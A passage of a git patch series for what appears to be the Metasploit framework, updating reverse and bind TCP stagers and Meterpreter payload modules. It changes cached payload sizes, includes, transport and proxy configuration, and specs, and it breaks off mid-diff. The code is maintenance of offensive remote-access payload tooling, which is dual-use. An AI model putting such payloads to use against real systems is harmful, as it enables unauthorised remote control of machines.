@@ -226,8 +226,6 @@ module Payload::Windows::ReverseTcp add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read - ; esi at this point is zero, which is what we need to - ; pass to the second stage in the case of Meterpreter. ret ; return into the second stage ^ From 146f41992ff5dd38a23b123428afa479e7192a84 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 5 May 2015 13:52:20 +1000 Subject: [PATCH 26/42] Fix up payload sizes --- modules/payloads/stagers/linux/x86/reverse_tcp.rb | 2 +- modules/payloads/stagers/windows/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/reverse_winhttps.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 6127486d9c..6e6d4b611b 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/reverse_tcp' module Metasploit4 - CachedSize = 71 + CachedSize = 193 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb index 1bcd0a9e6e..ad83f563d9 100644 --- a/modules/payloads/stagers/windows/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/reverse_winhttp.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttp' module Metasploit3 - CachedSize = 327 + CachedSize = 329 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb index ae6cce1098..cf6924c046 100644 --- a/modules/payloads/stagers/windows/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/reverse_winhttps.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttps' module Metasploit3 - CachedSize = 347 + CachedSize = 349 include Msf::Payload::Stager include Msf::Payload::Windows From 232117117ba5d97dd2fb31677f351e19f6ee3dd3 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 5 May 2015 14:24:21 +1000 Subject: [PATCH 27/42] Fix missing includes The powershell one broke thanks to include hierarchy changes. The others failed in the specs only for some reason. --- .../cmd/windows/powershell_bind_tcp.rb | 20 ++++++++----------- .../singles/windows/meterpreter_bind_tcp.rb | 1 + .../windows/meterpreter_reverse_http.rb | 1 + .../windows/meterpreter_reverse_https.rb | 1 + .../windows/meterpreter_reverse_ipv6_tcp.rb | 1 + .../windows/meterpreter_reverse_tcp.rb | 1 + .../windows/x64/meterpreter_bind_tcp.rb | 1 + .../windows/x64/meterpreter_reverse_http.rb | 2 ++ .../windows/x64/meterpreter_reverse_https.rb | 1 + .../x64/meterpreter_reverse_ipv6_tcp.rb | 1 + .../windows/x64/meterpreter_reverse_tcp.rb | 1 + 11 files changed, 19 insertions(+), 12 deletions(-) diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb index 173fd26be8..62ebf7f8a0 100644 --- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/powershell' module Metasploit3 @@ -17,13 +18,11 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Interactive Powershell Session, Bind TCP', 'Description' => 'Interacts with a powershell session on an established socket connection', - 'Author' => - [ + 'Author' => [ 'Ben Turner', # benpturner 'Dave Hardy' # davehardy20 ], - 'References' => - [ + 'References' => [ ['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/'] ], 'License' => MSF_LICENSE, @@ -32,14 +31,9 @@ module Metasploit3 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::PowerShell, 'RequiredCmd' => 'generic', - 'Payload' => - { - 'Offsets' => { }, - 'Payload' => '' - } + 'Payload' => { 'Payload' => '' } )) - register_options( - [ + register_options( [ OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), ], self.class) end @@ -48,7 +42,9 @@ module Metasploit3 lport = datastore['LPORT'] lhost = datastore['LHOST'] - template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1') + template_path = ::File.join(Msf::Config.data_directory, 'exploits', + 'powershell','powerfun.ps1') + script_in = "" ::File.open(template_path, "rb") do |fd| script_in << fd.read(fd.stat.size) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 1bc66a5b1d..9d1fbb27b8 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index c9c9dbc37d..403b6f8929 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 3bad5f05f2..155c5e6460 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 75429f304f..4ed36994e4 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 2a37898551..9ffa289755 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit3 diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index d251fc512e..ed22732559 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index c8f1e8e665..f45ed98170 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -4,10 +4,12 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index fe4e3aeb26..3e93138452 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index ad36360295..01878b88ec 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -9,6 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 180dddbc90..fb189d1de2 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -9,6 +9,7 @@ require 'msf/core/transport_config' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' module Metasploit4 From 95e9057854783ae65e902bf78067e9da2872819a Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 May 2015 08:07:07 +1000 Subject: [PATCH 28/42] Remove typo'd stuff that shouldn't have made it past merge --- lib/msf/base/sessions/meterpreter.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index b46ed82563..69075dfd02 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -329,9 +329,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client username = self.sys.config.getuid sysinfo = self.sys.config.sysinfo - # TODO: use one of these to determine of the end shell is dead? self.payload_uuid = self.core.uuid - self.machinie_id = self.core.machine_id safe_info = "#{username} @ #{sysinfo['Computer']}" safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) From fd827db6ddfe5f6a5bdf28eadfb0d4202d5cd493 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 7 May 2015 10:13:27 +1000 Subject: [PATCH 29/42] Fix up bind stager payload sizes --- lib/msf/core/payload/windows/bind_tcp.rb | 6 +++--- lib/msf/core/payload/windows/x64/bind_tcp.rb | 15 ++++---------- modules/payloads/stagers/windows/bind_tcp.rb | 2 +- .../payloads/stagers/windows/x64/bind_tcp.rb | 2 +- spec/modules/payloads_spec.rb | 20 +++++++++---------- 5 files changed, 19 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 336c1e8d47..5eceff5d67 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -30,7 +30,8 @@ module Payload::Windows::BindTcp # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space return generate_bind_tcp({ - :port => datastore['LPORT'].to_i + :port => datastore['LPORT'].to_i, + :reliable => false }) end @@ -67,8 +68,7 @@ module Payload::Windows::BindTcp # def required_space # Start with our cached default generated size - # TODO: need help with this from the likes of HD. - space = 277 + space = cached_size # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index 73c83c961e..b7ebad198d 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -20,10 +20,6 @@ module Payload::Windows::BindTcp_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 - def close_listen_socket - datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true - end - # # Generate the first stage # @@ -31,7 +27,8 @@ module Payload::Windows::BindTcp_x64 # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space return generate_bind_tcp({ - :port => datastore['LPORT'] + :port => datastore['LPORT'], + :reliable => false }) end @@ -70,21 +67,17 @@ module Payload::Windows::BindTcp_x64 def required_space # Start with our cached default generated size # TODO: need help with this from the likes of HD. - space = 277 + space = cached_size # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above) + # TODO: this is coming soon # Reliability checks add 4 bytes for the first check, 5 per recv check (2) #space += 14 - # if the payload doesn't need the listen socket closed then we save space. This is - # the case for meterpreter payloads, as metsrv now closes the listen socket once it - # kicks off (needed for more reliable shells). - space -= 11 unless close_listen_socket - # The final estimated size space end diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index 448e0344c6..6540c6735e 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/bind_tcp' module Metasploit4 - CachedSize = :dynamic + CachedSize = 285 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index 4f8f44442c..cb58caff16 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = :dynamic + CachedSize = 479 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 3ff642506c..114aab08a7 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2285,7 +2285,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/dllinject' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/dllinject/bind_tcp' end @@ -2571,7 +2571,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/meterpreter' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/meterpreter/bind_tcp' end @@ -2789,7 +2789,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/patchupdllinject' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/patchupdllinject/bind_tcp' end @@ -2932,7 +2932,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/patchupmeterpreter' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/patchupmeterpreter/bind_tcp' end @@ -3075,7 +3075,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/shell' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/shell/bind_tcp' end @@ -3268,7 +3268,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/upexec' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/upexec/bind_tcp' end @@ -3411,7 +3411,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/vncinject' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/vncinject/bind_tcp' end @@ -3552,7 +3552,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/bind_tcp', 'stages/windows/x64/meterpreter' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter/bind_tcp' end @@ -3635,7 +3635,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/bind_tcp', 'stages/windows/x64/shell' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/shell/bind_tcp' end @@ -3677,7 +3677,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/bind_tcp', 'stages/windows/x64/vncinject' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/x64/vncinject/bind_tcp' end From 5111abdd09107dd1dfbccb57d6af0e417f7d22e2 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 18:15:24 +1000 Subject: [PATCH 30/42] Add transport config entry to reverse_winhttp --- lib/msf/core/payload/windows/reverse_winhttp.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 8c0a3b37cd..a3861b11a1 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -18,6 +18,7 @@ module Msf module Payload::Windows::ReverseWinHttp + include Msf::TransportConfig include Msf::Payload::Windows::ReverseHttp # From ba3266803a75eb3228950fbe9d939c20a25015a9 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 18:32:48 +1000 Subject: [PATCH 31/42] Add transport configuration to reverse_http/s --- lib/msf/core/payload/windows/reverse_http.rb | 9 +++++++++ lib/msf/core/payload/windows/reverse_https.rb | 7 +++++++ 2 files changed, 16 insertions(+) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index fb8b454e50..8ed9c76f05 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' require 'msf/core/payload/uuid_options' @@ -17,6 +18,7 @@ module Msf module Payload::Windows::ReverseHttp + include Msf::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -85,6 +87,13 @@ module Payload::Windows::ReverseHttp Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + # # Generate the URI for the initial stager # diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index 7b61d72aec..b1bc4ab265 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -64,6 +64,13 @@ module Payload::Windows::ReverseHttps generate_reverse_https(conf) end + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + end end From 79753f719f0cb79b6b7b3c50e8481f04068dbdc9 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 18:36:30 +1000 Subject: [PATCH 32/42] Slight fix to the transport config --- lib/msf/core/payload/windows/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 8ed9c76f05..73958d3abf 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -91,7 +91,7 @@ module Payload::Windows::ReverseHttp # Generate the transport-specific configuration # def transport_config(opts={}) - transport_config_reverse_https(opts) + transport_config_reverse_http(opts) end # From 29649ff8810e8b6b48279021e52efb3b01c641cf Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 May 2015 17:24:02 +1000 Subject: [PATCH 33/42] Fix proxy config not making it through --- lib/msf/core/transport_config.rb | 7 ++++++- lib/rex/payloads/meterpreter/config.rb | 9 +++++++-- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/transport_config.rb b/lib/msf/core/transport_config.rb index c1996c3ac7..281f9686df 100644 --- a/lib/msf/core/transport_config.rb +++ b/lib/msf/core/transport_config.rb @@ -59,7 +59,12 @@ module Msf::TransportConfig :uri => uri, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i + :retry_wait => datastore['SessionRetryWait'].to_i, + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass'] } end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 4ef973dad4..49292b5331 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -88,7 +88,13 @@ private ] if url.start_with?('http') - proxy_host = to_str(opts[:proxy_host] || '', PROXY_HOST_SIZE) + proxy_host = '' + if opts[:proxy_host] && opts[:proxy_port] + prefix = 'http://' + prefix = 'socks=' if opts[:proxy_type].downcase == 'socks' + proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + end + proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE) proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE) proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE) ua = to_str(opts[:ua] || '', UA_SIZE) @@ -120,7 +126,6 @@ private end def config_block - # start with the session information config = session_block(@opts) From fe51f552b8e098f72b745468efa59eb6b95ceb96 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 07:37:12 +1000 Subject: [PATCH 34/42] Make stageless, and reverse_tcp x64 non-dynamic --- .../singles/windows/meterpreter_bind_tcp.rb | 2 +- .../windows/meterpreter_reverse_http.rb | 2 +- .../windows/meterpreter_reverse_https.rb | 2 +- .../windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- .../windows/meterpreter_reverse_tcp.rb | 2 +- .../windows/x64/meterpreter_bind_tcp.rb | 2 +- .../windows/x64/meterpreter_reverse_http.rb | 2 +- .../windows/x64/meterpreter_reverse_https.rb | 2 +- .../x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- .../windows/x64/meterpreter_reverse_tcp.rb | 2 +- .../stagers/windows/x64/reverse_tcp.rb | 2 +- spec/modules/payloads_spec.rb | 26 +++++++++---------- 12 files changed, 24 insertions(+), 24 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 9d1fbb27b8..43627c5433 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 906910 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 403b6f8929..0bd7fd2994 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 907954 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 155c5e6460..9fe4cde3dc 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 907954 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 4ed36994e4..971d5cd97a 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 906910 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 9ffa289755..544bc8e525 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = :dynamic + CachedSize = 906910 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index ed22732559..14d4fddf75 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 1128098 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index f45ed98170..dc4a34d6af 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 1129142 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 3e93138452..d008d3f424 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 1129142 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 01878b88ec..20948a1076 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 1128098 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index fb189d1de2..84a9f32fc5 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = :dynamic + CachedSize = 1128098 include Msf::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index c7030b920e..ebd38390e4 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = :dynamic + CachedSize = 450 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 114aab08a7..aeaa2f3e78 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2498,7 +2498,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/meterpreter_bind_tcp' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'windows/meterpreter_bind_tcp' end @@ -2508,7 +2508,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/windows/meterpreter_reverse_http' ], - 